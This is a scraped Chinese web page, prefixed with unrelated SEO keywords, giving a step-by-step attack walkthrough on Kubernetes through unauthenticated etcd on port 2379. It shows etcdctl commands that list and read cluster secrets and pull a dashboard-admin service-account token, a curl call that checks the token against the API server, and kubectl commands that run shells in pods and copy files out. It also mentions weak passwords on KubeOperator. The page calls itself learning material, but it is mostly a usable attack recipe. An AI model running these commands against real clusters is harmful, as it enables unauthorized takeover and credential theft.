湖北强涛建设工程有限公司网站,wordpress 鼠标 效果,摄影 网站 源码,游戏网站开发有限公司在安装完 K8s 后#xff0c;默认会安装 etcd 组件#xff0c;etcd 是一个高可用的 key-value 数据库#xff0c;它为 k8s 集群提供底层数据存储#xff0c;保存了整个集群的状态。大多数情形下#xff0c;数据库中的内容没有加密#xff0c;因此如果黑客拿下 etcd#x…
在安装完 K8s 后默认会安装 etcd 组件etcd 是一个高可用的 key-value 数据库它为 k8s 集群提供底层数据存储保存了整个集群的状态。大多数情形下数据库中的内容没有加密因此如果黑客拿下 etcd就意味着能控制整个 K8s 集群。
etcd 未授权访问
如果目标在启动 etcd 的时候没有开启证书认证选项且 2379 端口直接对外开放的话则存在 etcd 未授权访问漏洞。
访问目标的 https://IP:2379/version 或 https://IP:2379/v2/keys看看是否存在未授权访问。如果显示如下则证明存在未授权访问。 1.查找token
需要使用到 etcd 命令行连接工具etcdctl
由于 Service Account 关联了一套凭证存储在 Secret 中。因此我们可以过滤 Secret查找具有高权限的 Secret然后获得其 token 接管 K8s 集群
#查找所有的secret
ETCDCTL_API3 ./etcdctl --insecure-transportfalse --insecure-skip-tls-verify --endpointshttps://172.16.200.70:2379/ get / --prefix --keys-only|sort|uniq| grep secret从返回的数据中挑选出一个具有高权限的 role 并读取其 token以 /registry/secrets/kube-system/dashboard-admin-token-c7spp 为例其中 kube-system 代表 namespace、dashboard-admin 是 clusterrole
#查找指定secret保存的证书和token
ETCDCTL_API3 ./etcdctl --insecure-transportfalse --insecure-skip-tls-verify --endpointshttps://172.16.200.70:2379/ get /registry/secrets/kube-system/dashboard-admin-token-c7spp复制 token最后的 token 为 token? 和 #kubernetes.io/service-account-token 之间的部分 如果机器上安装了 KubeOperator 存在弱口令登录之后可以在集群中获取管控 token 如果不知道 server api 可以通过 webkubectl 获取
kubectl cluster-info2.验证token有效性
curl --header Authorization: Token -X GET https://172.16.200.70:6443/api -k3.使用 kebuctl 去执行命令
这里直接指定 token 去执行命令或者可以通过制作配置文件指定配置文件来执行但是比较复杂
kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ --token[ey...] -n kube-system get podskebuctl 常用命令
# 查看所有的资源信息
kubectl get all
kubectl get --all-namespaces
# 获取pods列表
kubectl get pods -o wide --all-namespaces
-n 指定命令空间
-o wide 展示详细信息
# 执行命令
kubectl exec -it podsname -n namespace -- command
-- bash 进入 shell
# 下载文件
kubectl cp -n 命名空间 pod名字:/data/1.hprof(在pod中要下载文件的路径) (本地保存文件的路径)学习文章
K8s集群安全攻防(上)K8s集群安全攻防(下)